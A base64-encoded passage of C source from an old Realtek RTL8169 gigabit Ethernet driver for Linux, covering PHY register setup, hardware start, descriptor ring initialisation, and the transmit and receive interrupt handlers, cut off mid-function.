KCJEbyBmaW5hbF9yZWcyLmNmZ1xuIik7DQoJCQkvLyBwaHkgY29uZmlnIGZv ciBSVEw4MTY5cyBtYWNfdmVyc2lvbiBDIGNoaXANCgkJCVJUTDgxNjlfV1JJ VEVfR01JSV9SRUcoIGlvYWRkciwgMzEsIDB4MDAwMSApOwkvL3cgMzEgMiAw IDENCgkJCVJUTDgxNjlfV1JJVEVfR01JSV9SRUcoIGlvYWRkciwgMjEsIDB4 MTAwMCApOwkvL3cgMjEgMTUgMCAxMDAwDQoJCQlSVEw4MTY5X1dSSVRFX0dN SUlfUkVHKCBpb2FkZHIsIDI0LCAweDY1YzcgKTsJLy93IDI0IDE1IDAgNjVj Nw0KCQkJUlRMODE2OV9XUklURV9HTUlJX1JFR19CSVQoIGlvYWRkciwgNCwg MTEsIDAgKTsJLy93IDQgMTEgMTEgMA0KCQkJdmFsID0gUlRMODE2OV9SRUFE X0dNSUlfUkVHKCBpb2FkZHIsIDQgKSAmIDB4MGZmZjsNCgkJCVJUTDgxNjlf V1JJVEVfR01JSV9SRUcoIGlvYWRkciwgNCwgdmFsICk7CS8vdyA0IDE1IDEy IDANCgkJCVJUTDgxNjlfV1JJVEVfR01JSV9SRUcoIGlvYWRkciwgMywgMHgw MGExICk7CS8vdyAzIDE1IDAgMDBhMQ0KCQkJUlRMODE2OV9XUklURV9HTUlJ X1JFRyggaW9hZGRyLCAyLCAweDAwMDggKTsJLy93IDIgMTUgMCAwMDA4DQoJ CQlSVEw4MTY5X1dSSVRFX0dNSUlfUkVHKCBpb2FkZHIsIDEsIDB4MTAyMCAp OwkvL3cgMSAxNSAwIDEwMjANCgkJCVJUTDgxNjlfV1JJVEVfR01JSV9SRUco IGlvYWRkciwgMCwgMHgxMDAwICk7CS8vdyAwIDE1IDAgMTAwMA0KCQkJUlRM ODE2OV9XUklURV9HTUlJX1JFR19CSVQoIGlvYWRkciwgNCwgMTEsIDEgKTsJ Ly93IDQgMTEgMTEgMQ0KCQkJUlRMODE2OV9XUklURV9HTUlJX1JFR19CSVQo IGlvYWRkciwgNCwgMTEsIDAgKTsJLy93IDQgMTEgMTEgMA0KCQkJdmFsID0g KCBSVEw4MTY5X1JFQURfR01JSV9SRUcoIGlvYWRkciwgNCApICYgMHgwZmZm ICkgfCAweDcwMDA7DQoJCQlSVEw4MTY5X1dSSVRFX0dNSUlfUkVHKCBpb2Fk ZHIsIDQsIHZhbCApOwkvL3cgNCAxNSAxMiA3DQoJCQlSVEw4MTY5X1dSSVRF X0dNSUlfUkVHKCBpb2FkZHIsIDMsIDB4ZmY0MSApOwkvL3cgMyAxNSAwIGZm NDENCgkJCVJUTDgxNjlfV1JJVEVfR01JSV9SRUcoIGlvYWRkciwgMiwgMHhk ZTYwICk7CS8vdyAyIDE1IDAgZGU2MA0KCQkJUlRMODE2OV9XUklURV9HTUlJ X1JFRyggaW9hZGRyLCAxLCAweDAxNDAgKTsJLy93IDEgMTUgMCAwMTQwDQoJ CQlSVEw4MTY5X1dSSVRFX0dNSUlfUkVHKCBpb2FkZHIsIDAsIDB4MDA3NyAp OwkvL3cgMCAxNSAwIDAwNzcNCgkJCVJUTDgxNjlfV1JJVEVfR01JSV9SRUdf QklUKCBpb2FkZHIsIDQsIDExLCAxICk7CS8vdyA0IDExIDExIDENCgkJCVJU TDgxNjlfV1JJVEVfR01JSV9SRUdfQklUKCBpb2FkZHIsIDQsIDExLCAwICk7 CS8vdyA0IDExIDExIDANCgkJCXZhbCA9ICggUlRMODE2OV9SRUFEX0dNSUlf UkVHKCBpb2FkZHIsIDQgKSAmIDB4MGZmZiApIHwgMHhhMDAwOw0KCQkJUlRM ODE2OV9XUklURV9HTUlJX1JFRyggaW9hZGRyLCA0LCB2YWwgKTsJLy93IDQg MTUgMTIgYQ0KCQkJUlRMODE2OV9XUklURV9HTUlJX1JFRyggaW9hZGRyLCAz LCAweGRmMDEgKTsJLy93IDMgMTUgMCBkZjAxDQoJCQlSVEw4MTY5X1dSSVRF X0dNSUlfUkVHKCBpb2FkZHIsIDIsIDB4ZGYyMCApOwkvL3cgMiAxNSAwIGRm MjANCgkJCVJUTDgxNjlfV1JJVEVfR01JSV9SRUcoIGlvYWRkciwgMSwgMHhm Zjk1ICk7CS8vdyAxIDE1IDAgZmY5NQ0KCQkJUlRMODE2OV9XUklURV9HTUlJ X1JFRyggaW9hZGRyLCAwLCAweGZhMDAgKTsJLy93IDAgMTUgMCBmYTAwDQoJ CQlSVEw4MTY5X1dSSVRFX0dNSUlfUkVHX0JJVCggaW9hZGRyLCA0LCAxMSwg MSApOwkvL3cgNCAxMSAxMSAxDQoJCQlSVEw4MTY5X1dSSVRFX0dNSUlfUkVH X0JJVCggaW9hZGRyLCA0LCAxMSwgMCApOwkvL3cgNCAxMSAxMSAwDQoJCQl2 YWwgPSAoIFJUTDgxNjlfUkVBRF9HTUlJX1JFRyggaW9hZGRyLCA0ICkgJiAw eDBmZmYgKSB8IDB4YjAwMDsNCgkJCVJUTDgxNjlfV1JJVEVfR01JSV9SRUco IGlvYWRkciwgNCwgdmFsICk7CS8vdyA0IDE1IDEyIGINCgkJCVJUTDgxNjlf V1JJVEVfR01JSV9SRUcoIGlvYWRkciwgMywgMHhmZjQxICk7CS8vdyAzIDE1 IDAgZmY0MQ0KCQkJUlRMODE2OV9XUklURV9HTUlJX1JFRyggaW9hZGRyLCAy LCAweGRlMjAgKTsJLy93IDIgMTUgMCBkZTIwDQoJCQlSVEw4MTY5X1dSSVRF X0dNSUlfUkVHKCBpb2FkZHIsIDEsIDB4MDE0MCApOwkvL3cgMSAxNSAwIDAx NDANCgkJCVJUTDgxNjlfV1JJVEVfR01JSV9SRUcoIGlvYWRkciwgMCwgMHgw MGJiICk7CS8vdyAwIDE1IDAgMDBiYg0KCQkJUlRMODE2OV9XUklURV9HTUlJ X1JFR19CSVQoIGlvYWRkciwgNCwgMTEsIDEgKTsJLy93IDQgMTEgMTEgMQ0K CQkJUlRMODE2OV9XUklURV9HTUlJX1JFR19CSVQoIGlvYWRkciwgNCwgMTEs IDAgKTsJLy93IDQgMTEgMTEgMA0KCQkJdmFsID0gKCBSVEw4MTY5X1JFQURf R01JSV9SRUcoIGlvYWRkciwgNCApICYgMHgwZmZmICkgfCAweGYwMDA7DQoJ CQlSVEw4MTY5X1dSSVRFX0dNSUlfUkVHKCBpb2FkZHIsIDQsIHZhbCApOwkv L3cgNCAxNSAxMiBmDQoJCQlSVEw4MTY5X1dSSVRFX0dNSUlfUkVHKCBpb2Fk ZHIsIDMsIDB4ZGYwMSApOwkvL3cgMyAxNSAwIGRmMDENCgkJCVJUTDgxNjlf V1JJVEVfR01JSV9SRUcoIGlvYWRkciwgMiwgMHhkZjIwICk7CS8vdyAyIDE1 IDAgZGYyMA0KCQkJUlRMODE2OV9XUklURV9HTUlJX1JFRyggaW9hZGRyLCAx LCAweGZmOTUgKTsJLy93IDEgMTUgMCBmZjk1DQoJCQlSVEw4MTY5X1dSSVRF X0dNSUlfUkVHKCBpb2FkZHIsIDAsIDB4YmYwMCApOwkvL3cgMCAxNSAwIGJm MDANCgkJCVJUTDgxNjlfV1JJVEVfR01JSV9SRUdfQklUKCBpb2FkZHIsIDQs IDExLCAxICk7CS8vdyA0IDExIDExIDENCgkJCVJUTDgxNjlfV1JJVEVfR01J SV9SRUdfQklUKCBpb2FkZHIsIDQsIDExLCAwICk7CS8vdyA0IDExIDExIDAN CgkJCVJUTDgxNjlfV1JJVEVfR01JSV9SRUcoIGlvYWRkciwgMzEsIDB4MDAw MCApOwkvL3cgMzEgMiAwIDANCgl9DQp9DQoNCg0KDQoNCg0KDQoNCg0KDQoN Ci8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09DQpzdGF0aWMgdm9pZCBydGw4MTY5X2h3X3N0YXJ0 IChzdHJ1Y3QgbmV0X2RldmljZSAqZGV2KQ0Kew0KCXN0cnVjdCBydGw4MTY5 X3ByaXZhdGUgKnByaXYgPSBkZXYtPnByaXY7DQoJdm9pZCAqaW9hZGRyID0g cHJpdi0+bW1pb19hZGRyOw0KCXUzMiBpOw0KDQoNCgkvKiBTb2Z0IHJlc2V0 IHRoZSBjaGlwLiAqLw0KCVJUTF9XOCAoIENoaXBDbWQsIENtZFJlc2V0KTsN Cg0KCS8qIENoZWNrIHRoYXQgdGhlIGNoaXAgaGFzIGZpbmlzaGVkIHRoZSBy ZXNldC4gKi8NCglmb3IgKGkgPSAxMDAwOyBpID4gMDsgaS0tKXsNCgkJaWYg KChSVExfUjgoIENoaXBDbWQgKSAmIENtZFJlc2V0KSA9PSAwKSBicmVhazsN CgkJZWxzZSB1ZGVsYXkgKDEwKTsNCgl9DQoNCglSVExfVzggKCBDZmc5MzQ2 LCBDZmc5MzQ2X1VubG9jayk7DQoJUlRMX1c4ICggQ2hpcENtZCwgQ21kVHhF bmIgfCBDbWRSeEVuYik7DQoJUlRMX1c4ICggRVRUaFJlZywgRVRUaCk7DQoN CgkvLyBGb3IgZ2lnYWJpdCBydGw4MTY5DQoJUlRMX1cxNgkoIFJ4TWF4U2l6 ZSwgUnhQYWNrZXRNYXhTaXplICk7DQoNCgkvLyBTZXQgUnggQ29uZmlnIHJl Z2lzdGVyDQoJaSA9IHJ0bDgxNjlfcnhfY29uZmlnIHwgKCBSVExfUjMyKCBS eENvbmZpZyApICYgcnRsX2NoaXBfaW5mb1twcml2LT5jaGlwc2V0XS5SeENv bmZpZ01hc2spOw0KCVJUTF9XMzIgKCBSeENvbmZpZywgaSk7DQoNCgkvKiBT ZXQgRE1BIGJ1cnN0IHNpemUgYW5kIEludGVyZnJhbWUgR2FwIFRpbWUgKi8N CglSVExfVzMyICggVHhDb25maWcsIChUWF9ETUFfQlVSU1QgPDwgVHhETUFT aGlmdCkgfCAoSW50ZXJGcmFtZUdhcCA8PCBUeEludGVyRnJhbWVHYXBTaGlm dCkgKTsNCg0KCVJUTF9XMTYoIENQbHVzQ21kLCBSVExfUjE2KENQbHVzQ21k KSApOw0KDQoJLy8yMDAzLTA3LTE4DQoJaWYoIHByaXYtPm1hY192ZXJzaW9u ID09IFJUTF9HSUdBX01BQ19WRVJfRCApew0KCQlEQkdfUFJJTlQoIlNldCBN QUMgUmVnIEMrQ1IgT2Zmc2V0IDB4RTA6IGJpdC0zIGFuZCBiaXQtMTQgTVVT VCBiZSAxXG4iKTsNCgkJUlRMX1cxNiggQ1BsdXNDbWQsIChSVExfUjE2KENQ bHVzQ21kKXwoMTw8MTQpfCgxPDwzKSkgKTsNCgl9DQoNCglwcml2LT5jdXJf cnggPSAwOw0KDQoJUlRMX1czMiAoIFR4RGVzY1N0YXJ0QWRkciwgdmlydF90 b19idXMocHJpdi0+VHhEZXNjQXJyYXkpKTsNCglSVExfVzMyICggUnhEZXNj U3RhcnRBZGRyLCB2aXJ0X3RvX2J1cyhwcml2LT5SeERlc2NBcnJheSkpOw0K CVJUTF9XOCAoIENmZzkzNDYsIENmZzkzNDZfTG9jayApOw0KCXVkZWxheSAo MTApOw0KDQoJUlRMX1czMiAoIFJ4TWlzc2VkLCAwICk7DQoNCglydGw4MTY5 X3NldF9yeF9tb2RlIChkZXYpOw0KDQoJLyogbm8gZWFybHktcnggaW50ZXJy dXB0cyAqLw0KCVJUTF9XMTYgKCBNdWx0aUludHIsIFJUTF9SMTYoTXVsdGlJ bnRyKSAmIDB4RjAwMCk7DQoNCgkvKiBFbmFibGUgYWxsIGtub3duIGludGVy cnVwdHMgYnkgc2V0dGluZyB0aGUgaW50ZXJydXB0IG1hc2suICovDQoJUlRM X1cxNiAoIEludHJNYXNrLCBydGw4MTY5X2ludHJfbWFzayk7DQoNCgluZXRp Zl9zdGFydF9xdWV1ZSAoZGV2KTsNCg0KfS8vZW5kIG9mIHJ0bDgxNjlfaHdf c3RhcnQgKHN0cnVjdCBuZXRfZGV2aWNlICpkZXYpDQoNCg0KDQoNCg0KDQoN Ci8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09DQpzdGF0aWMgdm9pZCBydGw4MTY5X2luaXRfcmlu ZyAoc3RydWN0IG5ldF9kZXZpY2UgKmRldikNCnsNCglzdHJ1Y3QgcnRsODE2 OV9wcml2YXRlICpwcml2ID0gZGV2LT5wcml2Ow0KCWludCBpOw0KDQoJcHJp di0+Y3VyX3J4ID0gMDsNCglwcml2LT5jdXJfdHggPSAwOw0KCXByaXYtPmRp cnR5X3R4ID0gMDsNCgltZW1zZXQocHJpdi0+VHhEZXNjQXJyYXksIDB4MCwg TlVNX1RYX0RFU0Mqc2l6ZW9mKHN0cnVjdCBUeERlc2MpKTsNCgltZW1zZXQo cHJpdi0+UnhEZXNjQXJyYXksIDB4MCwgTlVNX1JYX0RFU0Mqc2l6ZW9mKHN0 cnVjdCBSeERlc2MpKTsNCg0KCWZvciAoaT0wIDsgaTxOVU1fVFhfREVTQyA7 IGkrKyl7DQoJCXByaXYtPlR4X3NrYnVmZltpXT1OVUxMOw0KCX0NCglmb3Ig KGk9MDsgaSA8TlVNX1JYX0RFU0M7IGkrKykgew0KCQlpZihpPT0oTlVNX1JY X0RFU0MtMSkpDQoJCQlwcml2LT5SeERlc2NBcnJheVtpXS5zdGF0dXMgPSAo T1dOYml0IHwgRU9SYml0KSArIFJYX0JVRl9TSVpFOw0KCQllbHNlDQoJCQlw cml2LT5SeERlc2NBcnJheVtpXS5zdGF0dXMgPSBPV05iaXQgKyBSWF9CVUZf U0laRTsNCg0KCQl7Ly8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KCQkJ c3RydWN0IHNrX2J1ZmYgKnNrYiA9IHByaXYtPlJ4X3NrYnVmZltpXTsNCg0K CQkJaWYoIHNrYiAhPSBOVUxMICl7DQoJCQkJcHJpdi0+UnhEZXNjQXJyYXlb aV0uYnVmX2FkZHIgPSB2aXJ0X3RvX2J1cyggc2tiLT5kYXRhICk7DQoJCQl9 DQoJCQllbHNlew0KCQkJCURCR19QUklOVCgiJXM6ICVzKCkgUnhfc2tidWZm ID09IE5VTExcbiIsIGRldi0+bmFtZSwgX19GVU5DVElPTl9fKTsNCgkJCQlw cml2LT5kcnZpbml0X2ZhaWwgPSAxOw0KCQkJfQ0KCQl9Ly8tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLQ0KDQoJfQ0KfQ0KDQoNCg0KDQoNCg0KDQovLz09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PQ0Kc3RhdGljIHZvaWQgcnRsODE2OV90eF9jbGVhciAoc3Ry dWN0IHJ0bDgxNjlfcHJpdmF0ZSAqcHJpdikNCnsNCglpbnQgaTsNCg0KCXBy aXYtPmN1cl90eCA9IDA7DQoJZm9yICggaSA9IDAgOyBpIDwgTlVNX1RYX0RF U0MgOyBpKysgKXsNCgkJaWYgKCBwcml2LT5UeF9za2J1ZmZbaV0gIT0gTlVM TCApIHsNCgkJCWRldl9rZnJlZV9za2IgKCBwcml2LT5UeF9za2J1ZmZbaV0g KTsNCgkJCXByaXYtPlR4X3NrYnVmZltpXSA9IE5VTEw7DQoJCQlwcml2LT5z dGF0cy50eF9kcm9wcGVkKys7DQoJCX0NCgl9DQp9DQoNCg0KDQoNCg0KDQoN Ci8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09DQpzdGF0aWMgdm9pZCBydGw4MTY5X3R4X3RpbWVv dXQgKHN0cnVjdCBuZXRfZGV2aWNlICpkZXYpDQp7DQoJc3RydWN0IHJ0bDgx NjlfcHJpdmF0ZSAqcHJpdiA9IGRldi0+cHJpdjsNCgl2b2lkICppb2FkZHIg PSBwcml2LT5tbWlvX2FkZHI7DQoJdTggdG1wODsNCg0KCS8qIGRpc2FibGUg VHgsIGlmIG5vdCBhbHJlYWR5ICovDQoJdG1wOCA9IFJUTF9SOCggQ2hpcENt ZCApOw0KCWlmICh0bXA4ICYgQ21kVHhFbmIpew0KCQlSVExfVzggKCBDaGlw Q21kLCB0bXA4ICYgfkNtZFR4RW5iKTsNCgl9DQoNCgkvKiBEaXNhYmxlIGlu dGVycnVwdHMgYnkgY2xlYXJpbmcgdGhlIGludGVycnVwdCBtYXNrLiAqLw0K CVJUTF9XMTYgKCBJbnRyTWFzaywgMHgwMDAwKTsNCg0KCS8qIFN0b3AgYSBz aGFyZWQgaW50ZXJydXB0IGZyb20gc2NhdmVuZ2luZyB3aGlsZSB3ZSBhcmUu ICovDQoJc3Bpbl9sb2NrX2lycSAoJnByaXYtPmxvY2spOw0KCXJ0bDgxNjlf dHhfY2xlYXIgKHByaXYpOw0KCXNwaW5fdW5sb2NrX2lycSAoJnByaXYtPmxv Y2spOw0KDQoJLyogLi4uYW5kIGZpbmFsbHksIHJlc2V0IGV2ZXJ5dGhpbmcg Ki8NCglydGw4MTY5X2h3X3N0YXJ0IChkZXYpOw0KDQoJbmV0aWZfd2FrZV9x dWV1ZSAoZGV2KTsNCn0NCg0KDQoNCg0KDQoNCg0KLy89PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0N CnN0YXRpYyBpbnQgcnRsODE2OV9zdGFydF94bWl0IChzdHJ1Y3Qgc2tfYnVm ZiAqc2tiLCBzdHJ1Y3QgbmV0X2RldmljZSAqZGV2KQ0Kew0KCXN0cnVjdCBy dGw4MTY5X3ByaXZhdGUgKnByaXYgPSBkZXYtPnByaXY7DQoJdm9pZCAqaW9h ZGRyID0gcHJpdi0+bW1pb19hZGRyOw0KCWludCBlbnRyeSA9IHByaXYtPmN1 cl90eCAlIE5VTV9UWF9ERVNDOw0KDQoJc3Bpbl9sb2NrX2lycSAoJnByaXYt PmxvY2spOw0KDQoJaWYoIChwcml2LT5UeERlc2NBcnJheVtlbnRyeV0uc3Rh dHVzICYgT1dOYml0KT09MCApew0KCQlwcml2LT5UeF9za2J1ZmZbZW50cnld ID0gc2tiOw0KCQlwcml2LT5UeERlc2NBcnJheVtlbnRyeV0uYnVmX2FkZHIg PSB2aXJ0X3RvX2J1cyhza2ItPmRhdGEpOw0KCQlpZiggZW50cnkgIT0gKE5V TV9UWF9ERVNDLTEpICkNCgkJCXByaXYtPlR4RGVzY0FycmF5W2VudHJ5XS5z dGF0dXMgPSAoT1dOYml0IHwgRlNiaXQgfCBMU2JpdCkgfCAoIChza2ItPmxl biA+IEVUSF9aTEVOKSA/IHNrYi0+bGVuIDogRVRIX1pMRU4pOw0KCQllbHNl DQoJCSAJcHJpdi0+VHhEZXNjQXJyYXlbZW50cnldLnN0YXR1cyA9IChPV05i aXQgfCBFT1JiaXQgfCBGU2JpdCB8IExTYml0KSB8ICggKHNrYi0+bGVuID4g RVRIX1pMRU4pID8gc2tiLT5sZW4gOiBFVEhfWkxFTik7DQoNCgkJUlRMX1c4 ICggVHhQb2xsLCAweDQwKTsJCS8vc2V0IHBvbGxpbmcgYml0DQoNCgkJZGV2 LT50cmFuc19zdGFydCA9IGppZmZpZXM7DQoNCgkJcHJpdi0+c3RhdHMudHhf Ynl0ZXMgKz0gKCAoc2tiLT5sZW4gPiBFVEhfWkxFTikgPyBza2ItPmxlbiA6 IEVUSF9aTEVOKTsNCgkJcHJpdi0+Y3VyX3R4Kys7DQoJfS8vZW5kIG9mIGlm KCAocHJpdi0+VHhEZXNjQXJyYXlbZW50cnldLnN0YXR1cyAmIDB4ODAwMDAw MDApPT0wICkNCg0KCXNwaW5fdW5sb2NrX2lycSAoJnByaXYtPmxvY2spOw0K DQoJaWYgKCAocHJpdi0+Y3VyX3R4IC0gTlVNX1RYX0RFU0MpID09IHByaXYt PmRpcnR5X3R4ICl7DQoJCW5ldGlmX3N0b3BfcXVldWUgKGRldik7DQoJfQ0K CWVsc2V7DQoJCWlmIChuZXRpZl9xdWV1ZV9zdG9wcGVkIChkZXYpKXsNCgkJ CW5ldGlmX3dha2VfcXVldWUgKGRldik7DQoJCX0NCgl9DQoNCglyZXR1cm4g MDsNCn0NCg0KDQoNCg0KDQoNCg0KLy89PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN0YXRpYyB2 b2lkIHJ0bDgxNjlfdHhfaW50ZXJydXB0IChzdHJ1Y3QgbmV0X2RldmljZSAq ZGV2LCBzdHJ1Y3QgcnRsODE2OV9wcml2YXRlICpwcml2LCB2b2lkICppb2Fk ZHIpDQp7DQoJdW5zaWduZWQgbG9uZyBkaXJ0eV90eCwgdHhfbGVmdD0wOw0K CWludCBlbnRyeSA9IHByaXYtPmN1cl90eCAlIE5VTV9UWF9ERVNDOw0KDQoJ YXNzZXJ0IChkZXYgIT0gTlVMTCk7DQoJYXNzZXJ0IChwcml2ICE9IE5VTEwp Ow0KCWFzc2VydCAoaW9hZGRyICE9IE5VTEwpOw0KDQoNCglkaXJ0eV90eCA9 IHByaXYtPmRpcnR5X3R4Ow0KCXR4X2xlZnQgPSBwcml2LT5jdXJfdHggLSBk aXJ0eV90eDsNCg0KCXdoaWxlICh0eF9sZWZ0ID4gMCkgew0KCQlpZiggKHBy aXYtPlR4RGVzY0FycmF5W2VudHJ5XS5zdGF0dXMgJiBPV05iaXQpID09IDAg KXsNCgkJCWRldl9rZnJlZV9za2JfaXJxKCBwcml2LT5UeF9za2J1ZmZbZGly dHlfdHggJSBOVU1fVFhfREVTQ10gKTsNCgkJCXByaXYtPlR4X3NrYnVmZltk aXJ0eV90eCAlIE5VTV9UWF9ERVNDXSA9IE5VTEw7DQoJCQlwcml2LT5zdGF0 cy50eF9wYWNrZXRzKys7DQoJCQlkaXJ0eV90eCsrOw0KCQkJdHhfbGVmdC0t Ow0KCQkJZW50cnkrKzsNCgkJfQ0KCX0NCg0KCWlmIChwcml2LT5kaXJ0eV90 eCAhPSBkaXJ0eV90eCkgew0KCQlwcml2LT5kaXJ0eV90eCA9IGRpcnR5X3R4 Ow0KCQlpZiAobmV0aWZfcXVldWVfc3RvcHBlZCAoZGV2KSkNCgkJCW5ldGlm X3dha2VfcXVldWUgKGRldik7DQoJfQ0KfQ0KDQoNCg0KDQoNCg0KLy89PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT0NCnN0YXRpYyB2b2lkIHJ0bDgxNjlfcnhfaW50ZXJydXB0IChz dHJ1Y3QgbmV0X2RldmljZSAqZGV2LCBzdHJ1Y3QgcnRsODE2OV9wcml2YXRl ICpwcml2LCB2b2lkICppb2FkZHIpDQp7DQoJaW50IGN1cl9yeDsNCi8vCXN0 cnVjdCBza19idWZmICpza2I7DQoJaW50IHBrdF9zaXplID0gMCA7DQogICAg aW50IHJ4ZGVzY19jbnQgPSAwOw0KCWludCByZXQ7DQoJc3RydWN0IHNrX2J1 ZmYgKm5fc2tiID0gTlVMTDsNCglzdHJ1Y3Qgc2tfYnVmZiAqcnhfc2tiID0g cHJpdi0+Unhfc2tidWZmW2N1cl9yeF07DQoJc3RydWN0IHNrX2J1ZmYgKmN1 cl9za2I7DQoNCglhc3NlcnQgKGRldiAhPSBOVUxMKTsNCglhc3NlcnQgKHBy aXYgIT0gTlVMTCk7DQoJYXNzZXJ0IChpb2FkZHIgIT0gTlVMTCk7DQoNCg0K CWN1cl9yeCA9IHByaXYtPmN1cl9yeDsNCg0KCXdoaWxlICggKChwcml2LT5S eERlc2NBcnJheVtjdXJfcnhdLnN0YXR1cyAmIE9XTmJpdCk9PSAwKSAmJiAo cnhkZXNjX2NudCA8IDIwKSApew0KDQoJICAgIHJ4ZGVzY19jbnQrKzsNCg0K CQlpZiggcHJpdi0+UnhEZXNjQXJyYXlbY3VyX3J4XS5zdGF0dXMgJiBSeFJF UyApew0KCQkJcHJpbnRrKEtFUk5fSU5GTyAiJXM6IFJ4IEVSUk9SISEhXG4i LCBkZXYtPm5hbWUpOw0KCQkJcHJpdi0+c3RhdHMucnhfZXJyb3JzKys7DQoJ CQlpZiAocHJpdi0+UnhEZXNjQXJyYXlbY3VyX3J4XS5zdGF0dXMgJiAoUnhS V1R8UnhSVU5UKSApDQoJCQkJcHJpdi0+c3RhdHMucnhfbGVuZ3RoX2Vycm9y cysrOw0KCQkJaWYgKHByaXYtPlJ4RGVzY0FycmF5W2N1cl9yeF0uc3RhdHVz ICYgUnhDUkMpDQoJCQkJcHJpdi0+c3RhdHMucnhfY3JjX2Vycm9ycysrOw0K CSAgICB9DQoJICAgIGVsc2V7DQoJCQlwa3Rfc2l6ZT0oaW50KShwcml2LT5S eERlc2NBcnJheVtjdXJfcnhdLnN0YXR1cyAmIDB4MDAwMDFGRkYpLTQ7DQoJ CQl7Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0NCgkJCQlyeF9za2IgPSBwcml2LT5SeF9za2J1ZmZb Y3VyX3J4XTsNCgkJCQkNCgkJCQkvL25fc2tiID0gTlVMTDsNCgkJCQluX3Nr YiA9IFJUTDgxNjlfQUxMT0NfUlhTS0IoTUFYX1JYX1NLQkRBVEFfU0laRSk7 DQoJCQkJaWYoIG5fc2tiICE9IE5VTEwgKSB7DQoJCQkJCXNrYl9yZXNlcnZl IChuX3NrYiwgMik7CS8vIDE2IGJ5dGUgYWxpZ24gdGhlIElQIGZpZWxkcy4g Ly8NCg0KCQkJCQkvLyBJbmRpY2F0ZSByeF9za2INCgkJCQkJaWYoIHJ4X3Nr YiAhPSBOVUxMICl7DQoJCQkJCQlyeF9za2ItPmRldiA9IGRldjsNCgkJCQkJ CXNrYl9wdXQgKCByeF9za2IsIHBrdF9zaXplICk7DQoJCQkJCQlyeF9za2It PnByb3RvY29sID0gZXRoX3R5cGVfdHJhbnMgKCByeF9za2IsIGRldiApOw0K CQkJCQkJcmV0ID0gUlRMODE2OV9ORVRJRl9SWCAocnhfc2tiKTsNCg0KCQkJ CQkJZGV2LT5sYXN0X3J4ID0gamlmZmllczsNCgkJCQkJCXByaXYtPnN0YXRz LnJ4X2J5dGVzICs9IHBrdF9zaXplOw0KCQkJCQkJcHJpdi0+c3RhdHMucnhf cGFja2V0cysrOw0KI2lmIDANCgkJCQkJCXN3aXRjaChyZXQpDQoJCQkJCQl7 DQoJCQkJCQljYXNlIE5FVF9SWF9TVUNDRVNTOiAgICBwcmludGsoIiVzOiBO RVRJRl9SWF9TVUNDRVNTXG4iLCBkZXYtPm5hbWUpOyAgICBicmVhazsNCgkJ CQkJCWNhc2UgTkVUX1JYX0NOX0xPVzogICAgIHByaW50aygiJXM6IE5FVElG X1JYX0NOX0xPV1xuIiwgZGV2LT5uYW1lKTsgICAgIGJyZWFrOw0KCQkJCQkJ Y2FzZSBORVRfUlhfQ05fTU9EOiAgICAgcHJpbnRrKCIlczogTkVUSUZfQ05f TU9EXG4iLCBkZXYtPm5hbWUpOyAgICAgICAgYnJlYWs7DQoJCQkJCQljYXNl IE5FVF9SWF9DTl9ISUdIOiAgICBwcmludGsoIiVzOiBORVRJRl9DTl9ISUdI XG4iLCBkZXYtPm5hbWUpOyAgICAgICBicmVhazsNCgkJCQkJCWNhc2UgTkVU X1JYX0RST1A6ICAgICAgIHByaW50aygiJXM6IE5FVElGX1JYX0RST1BcbiIs IGRldi0+bmFtZSk7ICAgICAgIGJyZWFrOw0KCQkJCQkJZGVmYXVsdDogICAg ICAgICAgICAgICAgcHJpbnRrKCIlczogbmV0aWZfcngoKTpVbmtub3duXG4i LCBkZXYtPm5hbWUpOyAgYnJlYWs7DQoJCQkJCQl9DQojZW5kaWYNCgkJCQkJ fS8vZW5kIGlmKCByeF9za2IgIT0gTlVMTCApDQoNCgkJCQkJcHJpdi0+Unhf c2tidWZmW2N1cl9yeF0gPSBuX3NrYjsNCgkJCQl9DQoJCQkJZWxzZXsNCgkJ CQkJcHJpdi0+Unhfc2tidWZmW2N1cl9yeF0gPSByeF9za2I7DQoJCQkJfQ0K DQoJCQkJLy8gVXBkYXRlIHJ4IGRlc2NyaXB0b3INCgkJCQlpZiggY3VyX3J4 ID09IChOVU1fUlhfREVTQy0xKSApew0KCQkJCQlwcml2LT5SeERlc2NBcnJh eVtjdXJfcnhdLnN0YXR1cyAgPSAoT1dOYml0IHwgRU9SYml0KSArIFJYX0JV Rl9TSVpFOw0KCQkJCX0NCgkJCQllbHNlew0KCQkJCQlwcml2LT5SeERlc2NB cnJheVtjdXJfcnhdLnN0YXR1cyAgPSBPV05iaXQgKyBSWF9CVUZfU0laRTsN CgkJCQl9DQoNCgkJCQljdXJfc2tiID0gcHJpdi0+Unhfc2tidWZmW2N1cl9y 